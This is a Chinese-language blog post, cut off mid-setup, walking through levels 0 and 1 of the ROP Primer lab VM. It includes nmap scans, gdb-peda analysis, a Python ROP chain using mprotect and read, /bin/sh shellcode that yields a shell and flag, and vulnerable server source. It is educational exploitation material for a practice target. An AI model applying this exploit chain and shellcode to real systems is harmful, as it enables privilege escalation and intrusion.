滲透測試進階技術-Binaries Range(2)


Posted by nathan2009729 on 2023-05-08

BoF 理論簡介(2) -ROP

level 0

雖然名為理論,實為實戰,這裡用的靶機是ROP PRIMER: 0.2,網址是ROP Primer: 0.2 ~ VulnHub,網頁說明如下圖:

匯入virtual box後,顯示如下圖:

可以依照網頁提供的帳密(level0/warmup)登入,查看IP跟目錄裡有什麼東西:

用攻擊機nmap掃描一下:

┌──(root㉿kali)-[~]
└─# nmap -p- 192.168.18.195
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-14 23:26 EDT
Nmap scan report for 192.168.18.195
Host is up (0.00035s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8888/tcp open  sun-answerbook
MAC Address: 08:00:27:FD:3C:41 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 25.98 seconds

┌──(root㉿kali)-[~]
└─# nmap -p22,80,8888 -sC -sV -O -A 192.168.18.195
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-14 23:30 EDT
Nmap scan report for 192.168.18.195
Host is up (0.0010s latency).

PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 af8d26f8ecf9d76516f6d6040d364efe (DSA)
|   2048 d8c70a533a502b98c16edde8681d6ea4 (RSA)
|   256 3d05658d8ce000fe63dfa44377d75332 (ECDSA)
|_  256 32fea0ab4ad0e5bd66cf5e47ab7ecbb0 (ED25519)
80/tcp   open  http            lighttpd 1.4.33
|_http-server-header: lighttpd/1.4.33
|_http-title: ROP Primer
8888/tcp open  sun-answerbook?
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, LSCP, NULL, RPCCheck, RTSPRequest:
|     Welcome to
|     XERXES File Storage System
|     available commands are:
|_    store, read, exit.
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8888-TCP:V=7.93%I=7%D=4/14%Time=643A1A6B%P=x86_64-pc-linux-gnu%r(NU
SF:LL,5A,"Welcome\x20to\x20\n\x20XERXES\x20File\x20Storage\x20System\n\x20
SF:\x20available\x20commands\x20are:\n\x20\x20store,\x20read,\x20exit\.\n\
SF:n>\x20")%r(GetRequest,5D,"Welcome\x20to\x20\n\x20XERXES\x20File\x20Stor
SF:age\x20System\n\x20\x20available\x20commands\x20are:\n\x20\x20store,\x2
SF:0read,\x20exit\.\n\n>\x20\n>\x20")%r(HTTPOptions,5D,"Welcome\x20to\x20\
SF:n\x20XERXES\x20File\x20Storage\x20System\n\x20\x20available\x20commands
SF:\x20are:\n\x20\x20store,\x20read,\x20exit\.\n\n>\x20\n>\x20")%r(FourOhF
SF:ourRequest,60,"Welcome\x20to\x20\n\x20XERXES\x20File\x20Storage\x20Syst
SF:em\n\x20\x20available\x20commands\x20are:\n\x20\x20store,\x20read,\x20e
SF:xit\.\n\n>\x20\n>\x20\n>\x20")%r(JavaRMI,5D,"Welcome\x20to\x20\n\x20XER
SF:XES\x20File\x20Storage\x20System\n\x20\x20available\x20commands\x20are:
SF:\n\x20\x20store,\x20read,\x20exit\.\n\n>\x20\n>\x20")%r(LSCP,5D,"Welcom
SF:e\x20to\x20\n\x20XERXES\x20File\x20Storage\x20System\n\x20\x20available
SF:\x20commands\x20are:\n\x20\x20store,\x20read,\x20exit\.\n\n>\x20\n>\x20
SF:")%r(GenericLines,5D,"Welcome\x20to\x20\n\x20XERXES\x20File\x20Storage\
SF:x20System\n\x20\x20available\x20commands\x20are:\n\x20\x20store,\x20rea
SF:d,\x20exit\.\n\n>\x20\n>\x20")%r(RTSPRequest,5D,"Welcome\x20to\x20\n\x2
SF:0XERXES\x20File\x20Storage\x20System\n\x20\x20available\x20commands\x20
SF:are:\n\x20\x20store,\x20read,\x20exit\.\n\n>\x20\n>\x20")%r(RPCCheck,60
SF:,"Welcome\x20to\x20\n\x20XERXES\x20File\x20Storage\x20System\n\x20\x20a
SF:vailable\x20commands\x20are:\n\x20\x20store,\x20read,\x20exit\.\n\n>\x2
SF:0\n>\x20\n>\x20")%r(DNSVersionBindReqTCP,5D,"Welcome\x20to\x20\n\x20XER
SF:XES\x20File\x20Storage\x20System\n\x20\x20available\x20commands\x20are:
SF:\n\x20\x20store,\x20read,\x20exit\.\n\n>\x20\n>\x20")%r(DNSStatusReques
SF:tTCP,5D,"Welcome\x20to\x20\n\x20XERXES\x20File\x20Storage\x20System\n\x
SF:20\x20available\x20commands\x20are:\n\x20\x20store,\x20read,\x20exit\.\
SF:n\n>\x20\n>\x20")%r(Help,5D,"Welcome\x20to\x20\n\x20XERXES\x20File\x20S
SF:torage\x20System\n\x20\x20available\x20commands\x20are:\n\x20\x20store,
SF:\x20read,\x20exit\.\n\n>\x20\n>\x20");
MAC Address: 08:00:27:FD:3C:41 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   1.03 ms 192.168.18.195

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 164.78 seconds

發現有開80 port,打開網頁來瞧瞧:

先打開level 0來看看:

已經提示可以用mprotect跟read函式來達成目的。由於已知道IP跟帳密且有開22 port,所以用攻擊機連ssh過去(所以level0都是在靶機環境作業的),先查看level 0檔案類型:

level0@rop:~$ file ./level0
./level0: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.26, BuildID[sha1]=fb91c352b4d0f9680d22497e348340fe88d0fdf8, not stripped

接下來查看level 0的保護機制:

level0@rop:~$ gdb ./level0
GNU gdb (GDB) 7.8
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./level0...(no debugging symbols found)...done.
gdb-peda$ checksec level0
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

只開啟了NX,滿足可以使用ret2libc技術的條件。接下來算算看要多少字元可以剛好控制EIP,另外還要知道,這是一個執行後會要求使用者輸入的程式:

gdb-peda$ pattern_create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /home/level0/level0
[+] ROP tutorial level0
[+] What's your name?

aaa所以要先r(執行)後,再輸入pattern_create的輸出:

AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

注意不要連單引號一起餵進去:

gdb-peda$ r
Starting program: /home/level0/level0
[+] ROP tutorial level0
[+] What's your name? AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
[+] Bet you can't ROP me, AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL!

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xbffff6ac --> 0x80ca720 --> 0xfbad2a84
EDX: 0x80cb690 --> 0x0
ESI: 0x80488e0 (<__libc_csu_fini>:      push   ebp)
EDI: 0xce303c87
EBP: 0x41304141 ('AA0A')
ESP: 0xbffff700 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
EIP: 0x41414641 ('AFAA')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414641
[------------------------------------stack-------------------------------------]
0000| 0xbffff700 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0004| 0xbffff704 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0xbffff708 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0012| 0xbffff70c ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0xbffff710 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0020| 0xbffff714 ("A3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0xbffff718 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0028| 0xbffff71c ("AA4AAJAAfAA5AAKAAgAA6AAL")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414641 in ?? ()

查詢0x41414641的offset,再來用vmmap指令查看各記憶體權限:

gdb-peda$ pattern_offset 0x41414641
1094796865 found at offset: 44
gdb-peda$ vmmap
Start      End        Perm      Name
0x08048000 0x080ca000 r-xp      /home/level0/level0
0x080ca000 0x080cb000 rw-p      /home/level0/level0
0x080cb000 0x080ef000 rw-p      [heap]
0xb7ffd000 0xb7fff000 rw-p      mapped
0xb7fff000 0xb8000000 r-xp      [vdso]
0xbffdf000 0xc0000000 rw-p      [stack]

假設要寫入stack的位置,而stack的大小是0xc0000000 - 0xbffdf000 = 0x21000

查詢mprotect跟read在這程式中的位址:

gdb-peda$ p mprotect
$1 = {<text variable, no debug info>} 0x80523e0 <mprotect>
gdb-peda$ p read
$2 = {<text variable, no debug info>} 0x80517f0 <read>

這裡介紹一個網站: https://syscalls32.paolostivanin.com

這是可以查詢每個linux32位元的函式,它的每一個暫存器該填什麼,下圖是mprotect的暫存器要填的值:

接下來查詢可用的ropgadget,可以想成方便利用的片段,例如pop eax之類的。

gdb-peda$ ropgadget
ret = 0x8048106
addesp_4 = 0x804a278
popret = 0x8048550
pop2ret = 0x8048883
pop4ret = 0x8048881
pop3ret = 0x8048882
addesp_8 = 0x804b7f8
leaveret = 0x804813c

aaa由於接下來要寫python的explout,查一下靶機的python版本:

level0@rop:~$ python
Python 2.7.6 (default, Mar 22 2014, 22:59:38)
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>>

解釋一下下面code。精神是利用mprotect把stack那一段變成可讀可寫可執行,再利用read讀取寫在stack裡的惡意shell code。

首先,mprotect的函式原型(C語言)如下:

int mprotect(void *addr, size_t len, int prot);

其中addr是起始位址,len是要改寫的長度,而prot是需要改寫成怎樣的權限。prot是由以下3個參數的or起來(布林邏輯),比如說需要可讀可寫,就是0x01 | 0x02,所以就是0x03。需要可讀可執行就是0x01 | 0x04,就是0x05。而現在想改成可讀可寫可執行,就是0x07。

#define PROT_READ       0x01            /* page can be read */
#define PROT_WRITE      0x02            /* page can be written */
#define PROT_EXEC       0x04            /* page can be executed */

接下來從payload += p(mpro_fun)開始一直到payload += p(0x7)這一段解釋一下。從剛剛的linux syscall reference,可以知道eax是0x7d,ebx是addr,ecx是長度,edx是0x07。現在已經找到mprotect的位址,所以eax不用管,接下來用pop3ret後,就依序填入ebx、ecx跟edx的值。

而read也是同理,read() 系統呼叫會從 fd (ebx)所參照檔案的當前位置讀取 len (edx)個位元組到 buf (ecx)。這裡edx設為666,是大了點。

level0@rop:~$ cat level0_rop_01.py
import sys
import struct

def p(x):
        return struct.pack('<L',x)

mpro_fun = 0x80523e0
read_fun = 0x80517f0
pop3ret = 0x8048882

payload = "\x41" * 44

payload += p(mpro_fun)
payload += p(pop3ret)
payload += p(0xbffdf000)
payload += p(0x21000)
payload += p(0x7)
payload += p(read_fun)
payload += p(0xbffdf000)
payload += p(0x00)

payload += p(0xbffdf000)
payload += p(0x666)

print payload

以下就是把程式的輸出再接到惡意shell code,並把它當作之後程式輸入的辦法:

level0@rop:~$ (python level0_rop_01.py; python -c 'import sys;sys.stdout.write("\xeb\x16\x5e\x31\xd2\x52\x56\x89\xe1\x89\xf3\x31\xc0\xb0\x0b\xcd\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68")';cat) | ./level0
[+] ROP tutorial level0
[+] What's your name? [+] Bet you can't ROP me, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒!
xterm-256colorid
/bin/sh: 1: xterm-256colorid: not found
id
uid=1000(level0) gid=1000(level0) euid=1001(level1) groups=1001(level1),1000(level0)
ls
flag  level0  level0_rop_01.py  peda-session-level0.txt
cat flag
flag{rop_the_night_away}

解釋那個\xeb\x16\x5e\x31...那一段字串,如下,其實就是linux 64位元下執行execve "/bin/sh"的組合語言。

/*
; Title: Linux/x86 execve "/bin/sh" - shellcode 35 bytes
; Platform: linux/x86_64
; Date: 2014-06-26
; Author: Mohammad Reza Espargham
; Simple ShellCode

section .text:

08048060 <_start>:
  8048060:    eb 17                    jmp    8048079

08048062 :
  8048062:    5e                       pop    %esi
  8048063:    31 d2                    xor    %edx,%edx
  8048065:    52                       push   %edx
  8048066:    56                       push   %esi
  8048067:    89 e1                    mov    %esp,%ecx
  8048069:    89 f3                    mov    %esi,%ebx
  804806b:    31 c0                    xor    %eax,%eax
  804806d:    b0 0b                    mov    $0xb,%al
  804806f:    cd 80                    int    $0x80
  8048071:    31 db                    xor    %ebx,%ebx
  8048073:    31 c0                    xor    %eax,%eax
  8048075:    40                       inc    %eax
  8048076:    cd 80                    int    $0x80

08048078 :
  8048078:    e8 e5 ff ff ff           call   8048062
  804807d:    2f                       das
  804807e:    62 69 6e                 bound  %ebp,0x6e(%ecx)
  8048081:    2f                       das
  8048082:    73 68                    jae    80480ec
*/

把上述的機器碼組合起來就是惡意shell code:

\xeb\x16\x5e\x31\xd2\x52\x56\x89\xe1\x89\xf3\x31\xc0\xb0\x0b\xcd\x80\x31\xdb\x31\xc0\x40\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68

level 1

這一次要在攻擊機上分析執行檔,先安裝pwntools工具:

┌──(root㉿kali)-[/home/kali/LPT_day3]
└─# pip install pwntools
Collecting pwntools
  Using cached pwntools-4.9.0-py2.py3-none-any.whl (11.7 MB)
Requirement already satisfied: paramiko>=1.15.2 in /usr/lib/python3/dist-packages (from pwntools) (2.12.0)
Requirement already satisfied: mako>=1.0.0 in /usr/lib/python3/dist-packages (from pwntools) (1.2.4.dev0)
Collecting pyelftools>=0.2.4
  Using cached pyelftools-0.29-py2.py3-none-any.whl (174 kB)
Collecting capstone>=3.0.5rc2
  Using cached capstone-5.0.0rc2-py3-none-manylinux1_x86_64.manylinux_2_5_x86_64.whl (2.8 MB)
Collecting ropgadget>=5.3
  Downloading ROPGadget-7.3-py3-none-any.whl (32 kB)
Requirement already satisfied: pyserial>=2.7 in /usr/lib/python3/dist-packages (from pwntools) (3.5)
Requirement already satisfied: requests>=2.0 in /usr/lib/python3/dist-packages (from pwntools) (2.28.1)
Requirement already satisfied: pip>=6.0.8 in /usr/lib/python3/dist-packages (from pwntools) (23.0.1)
Requirement already satisfied: pygments>=2.0 in /usr/lib/python3/dist-packages (from pwntools) (2.14.0)
Requirement already satisfied: pysocks in /usr/lib/python3/dist-packages (from pwntools) (1.7.1)
Requirement already satisfied: python-dateutil in /usr/lib/python3/dist-packages (from pwntools) (2.8.2)
Requirement already satisfied: packaging in /usr/lib/python3/dist-packages (from pwntools) (23.0)
Collecting psutil>=3.3.0
  Using cached psutil-5.9.4-cp36-abi3-manylinux_2_12_x86_64.manylinux2010_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl (280 kB)
Collecting intervaltree>=3.0
  Using cached intervaltree-3.1.0.tar.gz (32 kB)
  Preparing metadata (setup.py) ... done
Requirement already satisfied: sortedcontainers in /usr/lib/python3/dist-packages (from pwntools) (2.4.0)
Collecting unicorn>=1.0.2rc1
  Using cached unicorn-2.0.1.post1-py2.py3-none-manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl (16.1 MB)
Requirement already satisfied: six>=1.12.0 in /usr/lib/python3/dist-packages (from pwntools) (1.16.0)
Collecting rpyc
  Downloading rpyc-5.3.1-py3-none-any.whl (74 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 74.0/74.0 kB 878.8 kB/s eta 0:00:00
Collecting colored-traceback
  Using cached colored-traceback-0.3.0.tar.gz (3.8 kB)
  Preparing metadata (setup.py) ... done
Collecting plumbum
  Downloading plumbum-1.8.1-py3-none-any.whl (126 kB)
     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 126.7/126.7 kB 2.2 MB/s eta 0:00:00
Building wheels for collected packages: intervaltree, colored-traceback
  Building wheel for intervaltree (setup.py) ... done
  Created wheel for intervaltree: filename=intervaltree-3.1.0-py2.py3-none-any.whl size=26098 sha256=bacae17c5283bd7d1d5ae3c720b62e9ea1d263146570f2a723bf858e43ccf44a
  Stored in directory: /root/.cache/pip/wheels/31/d7/d9/eec6891f78cac19a693bd40ecb8365d2f4613318c145ec9816
  Building wheel for colored-traceback (setup.py) ... done
  Created wheel for colored-traceback: filename=colored_traceback-0.3.0-py3-none-any.whl size=4607 sha256=83551f5a5b2b3c41b3c9e65f2d3c8419573b0706d967959b36b4d434b18d97e3
  Stored in directory: /root/.cache/pip/wheels/45/a9/5f/635d7d8d70eb182fd22f2b0bebce713206e172769bea9f106a
Successfully built intervaltree colored-traceback
Installing collected packages: unicorn, pyelftools, psutil, plumbum, intervaltree, colored-traceback, capstone, rpyc, ropgadget, pwntools
Successfully installed capstone-5.0.0rc2 colored-traceback-0.3.0 intervaltree-3.1.0 plumbum-1.8.1 psutil-5.9.4 pwntools-4.9.0 pyelftools-0.29 ropgadget-7.3 rpyc-5.3.1 unicorn-2.0.1.post1
WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv

點進去level 1的網頁,這一次的提示是用原始碼open/read/write來取得flag:

aaa網頁內也有提供原始碼如下:

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>

void write_buf(int fd, char *buf)
{
  int len = strlen(buf);
  write(fd, buf, len);
}


void write_file(char *filename, char *filebuf, int filesize)
{
  int f = open(filename, O_RDWR | O_CREAT, S_IRUSR | S_IWUSR);
  write(f, filebuf, filesize);
  close(f);
}

void handle_conn(int fd)
{
  char filename[32], cmd[32];
  char text[256];
  int read_bytes, filesize;
  char str_filesize[7];

  // banner
  write_buf(fd, "Welcome to \n");
  write_buf(fd, " XERXES File Storage System\n");
  write_buf(fd, "  available commands are:\n");
  write_buf(fd, "  store, read, exit.\n");

  while (1)
  {
      write_buf(fd, "\n> ");

      memset(cmd, 0, sizeof(cmd));
      read(fd, cmd, sizeof(cmd));

      if (!strncmp(cmd, "store", 5))
      {
          write_buf(fd, " Please, how many bytes is your file?\n\n");
          write_buf(fd, "> ");
          memset(str_filesize, 0, sizeof(str_filesize));

          read(fd, &str_filesize, 6);
          filesize = atoi(str_filesize);
          char *filebuf = malloc(filesize);

          write_buf(fd, " Please, send your file:\n\n");
          write_buf(fd, "> ");

          read_bytes = read(fd, filebuf, filesize);

          if (read_bytes == filesize)
          {
              write_buf(fd, "   XERXES is pleased to inform you\n    that your file was received\n        most successfully.\n");
          }
          else
          {
              write_buf(fd, "   XERXES regrets to inform you\n    that an error occurred\n        while receiving your file.\n");
          }

          write_buf(fd, " Please, give a filename:\n");
          write_buf(fd, "> ");

          memset(filename, 0, sizeof(filename));           
          read_bytes = read(fd, filename, filesize);

          snprintf(text, sizeof(text), "  XERXES will store\n   this data as '%s'.\n", filename);
          write_buf(fd, text);

          write_file(filename, filebuf, filesize);

          write_buf(fd, "  XERXES wishes you\n      a NICE day.\n");
          return;
      }

      if (!strncmp(cmd, "read", 4))
      {
          write_buf(fd, "  Please, give a filename to read:\n");
          write_buf(fd, "> ");

          memset(filename, 0, sizeof(filename));           
          read_bytes = read(fd, filename, sizeof(filename));
          filename[read_bytes-1] = 0;

          if (strstr(filename, "flag"))
          {
              write_buf(fd, "  XERXES demands your capture\n    or destruction.\n  Have a NICE day.\n");
              return;
          }

          int f = open(filename, O_RDONLY);
          if (f == -1)
          {
              write_buf(fd, "  XERXES regrets to inform you\n   that the requested file cannot be found.\n");   
          }

          char *filebuf = malloc(100000);
          read_bytes = read(f, filebuf, 100000);
          write(fd, filebuf, read_bytes);
          free(filebuf);

          write_buf(fd, "  XERXES wishes you\n      a NICE day.\n");
          return;
      }

      if (!strncmp(cmd, "exit", 4))
      {
          write_buf(fd, "  XERXES wishes you\n      a NICE day.\n");
          return;
      }
  }
}

int main(int argc, char **argv)
{
  int listenfd = -1, connfd = -1;
  struct sockaddr_in serv_addr;

  listenfd = socket(AF_INET, SOCK_STREAM, 0);
  memset(&serv_addr, 0, sizeof(serv_addr));

  serv_addr.sin_family = AF_INET;
  serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
  serv_addr.sin_port = htons(8888);

  while (bind(listenfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr)) < 0)
  {
      printf("[!] error bind()ing!\n");
      sleep(1);
      printf("[+] retrying bind()\n");
  }

  listen(listenfd, 10);    // 10 = backlog?

  while (1)
  {
      connfd = accept(listenfd, (struct sockaddr*)NULL, NULL);
      int pid = fork();
      if (pid < 0)
      {
          printf("[!] error fork()ing!\n");
          close(listenfd);
          exit(-1);
      }
      if (pid == 0)
      {
          close(listenfd);
          handle_conn(connfd);
          close(connfd);
          exit(0);
      }

      close(connfd);
  }

  return 0;
}

ssh連進去靶機的level 1,並檢查這程式的安全,跟上題一樣開啟了NX:

┌──(root㉿kali)-[~]
└─# ssh level1@192.168.18.195
level1@192.168.18.195's password:
Welcome to Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic i686)

 * Documentation:  https://help.ubuntu.com/

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

level1@rop:~$ ls -al
total 44
drwxr-xr-x 3 level1 level1 4096 Apr 15 08:26 .
drwxr-xr-x 5 root   root   4096 Jan 20  2015 ..
-rw------- 1 level1 level1    0 Mar  4  2015 .bash_history
-rw-r--r-- 1 level1 level1  220 Jan 20  2015 .bash_logout
-rw-r--r-- 1 level1 level1 3637 Jan 20  2015 .bashrc
-rw-rw-r-- 1 level0 level0    0 Mar  5  2015 bleh
drwx------ 2 level1 level1 4096 Apr 15 08:26 .cache
-rw------- 1 level2 level2   53 Jan 20  2015 flag
-rw-r--r-- 1 level1 level1   25 Jan 20  2015 .gdbinit
-rwsr-xr-x 1 level2 level2 9235 Jan 20  2015 level1
-rw-r--r-- 1 level1 level1  675 Jan 20  2015 .profile
level1@rop:~$ gdb ./level1
GNU gdb (GDB) 7.8
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./level1...(no debugging symbols found)...done.
gdb-peda$ checksec level1
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

而這程式比較特別,是開啟了監聽port:

level1@rop:~$ netstat -eap
(No info could be read for "-p": geteuid()=1001 but you should be root.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       User       Inode       PID/Program name
tcp        0      0 *:ssh                   *:*                     LISTEN      root       8869        -
tcp        0      0 *:8888                  *:*                     LISTEN      level2     9082        -
tcp        0      0 *:http                  *:*                     LISTEN

8888端口一直處於監聽狀態,且屬於level2用戶,實際打開port監聽後,會發現這就是程式執行的方法:

level1@rop:~$ nc localhost 8888
Welcome to
 XERXES File Storage System
  available commands are:
  store, read, exit.

> read
  Please, give a filename to read:
> /home/level1/flag
  XERXES demands your capture
    or destruction.
  Have a NICE day.

通過題目的說明,根據程序源代碼找到漏洞點:漏洞產生的原因為對 char filename[32] 執行了以下操作,而變量 filesize 由用戶輸入,因此會造成溢出

出題者提示通過 level1 二進制文件中的 open/read/write 函數來拿到flag。順藤摸瓜,這里很自然想到處理流程為
1.計算偏移量,溢出
2.執行open,打開flag文件
3.read讀取flag文件內容
4.write將flag寫出

而現在需要把檔案

┌──(root㉿kali)-[/home/kali/LPT_day3]
└─# scp level1@192.168.18.195:level1 /home/kali/LPT_day3
level1@192.168.18.195's password:
level1                                        100% 9235     2.3MB/s   00:00

┌──(root㉿kali)-[/home/kali/LPT_day3]
└─# ls -l
total 1896
-rw-r--r-- 1 root root 1908226 Feb 22  2021 get-pip.py
-rw-r--r-- 1 root root    6116 Apr  2 00:07 hydra.restore
-rw-r--r-- 1 root root     757 Apr 15 01:27 level0_rop_02.py
-rwxr-xr-x 1 root root    9235 Apr 15 03:08 level1
-rw-r--r-- 1 root root     488 Apr  1 21:51 Passwords-CPENT.txt
-rw-r--r-- 1 root root     301 Apr  1 21:50 Usernames-CPENT.txt

安裝一下peda:

┌──(root㉿kali)-[/home/kali/LPT_day3]
└─# apt install gdb

┌──(root㉿kali)-[/home/kali/LPT_day3]
└─# git clone https://github.com/scwuaptx/peda.git ~/peda
Cloning into '/root/peda'...
remote: Enumerating objects: 580, done.
remote: Total 580 (delta 0), reused 0 (delta 0), pack-reused 580
Receiving objects: 100% (580/580), 440.14 KiB | 2.63 MiB/s, done.
Resolving deltas: 100% (377/377), done.

┌──(root㉿kali)-[/home/kali/LPT_day3]
└─# echo "source ~/peda/peda.py" >> ~/.gdbinit

┌──(root㉿kali)-[/home/kali/LPT_day3]
└─# cp ~/peda/.inputrc ~/

以下也在攻擊機:

┌──(root㉿kali)-[/home/kali/LPT_day3]
└─# gdb ./level1
GNU gdb (Debian 13.1-2) 13.1
Copyright (C) 2023 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
/root/peda/peda.py:46: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if sys.version_info.major is 3:
/root/peda/peda.py:4427: SyntaxWarning: "is not" with a literal. Did you mean "!="?
  if text[-1] is not '(':
/root/peda/peda.py:4500: SyntaxWarning: "is not" with a literal. Did you mean "!="?
  if text[-1] is not '(':
/root/peda/peda.py:6862: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if pyversion is 2:
/root/peda/peda.py:6864: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if pyversion is 3:
/root/peda/peda.py:6873: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if pyversion is 2:
/root/peda/peda.py:6875: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if pyversion is 3:
/root/peda/peda.py:6884: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if pyversion is 2:
/root/peda/peda.py:6886: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if pyversion is 3:
/root/peda/lib/shellcode.py:24: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if sys.version_info.major is 3:
/root/peda/lib/shellcode.py:379: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if pyversion is 3:
/root/peda/peda.py:46: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if sys.version_info.major is 3:
/root/peda/peda.py:4427: SyntaxWarning: "is not" with a literal. Did you mean "!="?
  if text[-1] is not '(':
/root/peda/peda.py:4500: SyntaxWarning: "is not" with a literal. Did you mean "!="?
  if text[-1] is not '(':
/root/peda/peda.py:6862: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if pyversion is 2:
/root/peda/peda.py:6864: SyntaxWarning: "is" with a literal. Did you mean "=="?
  if pyversion is 3:
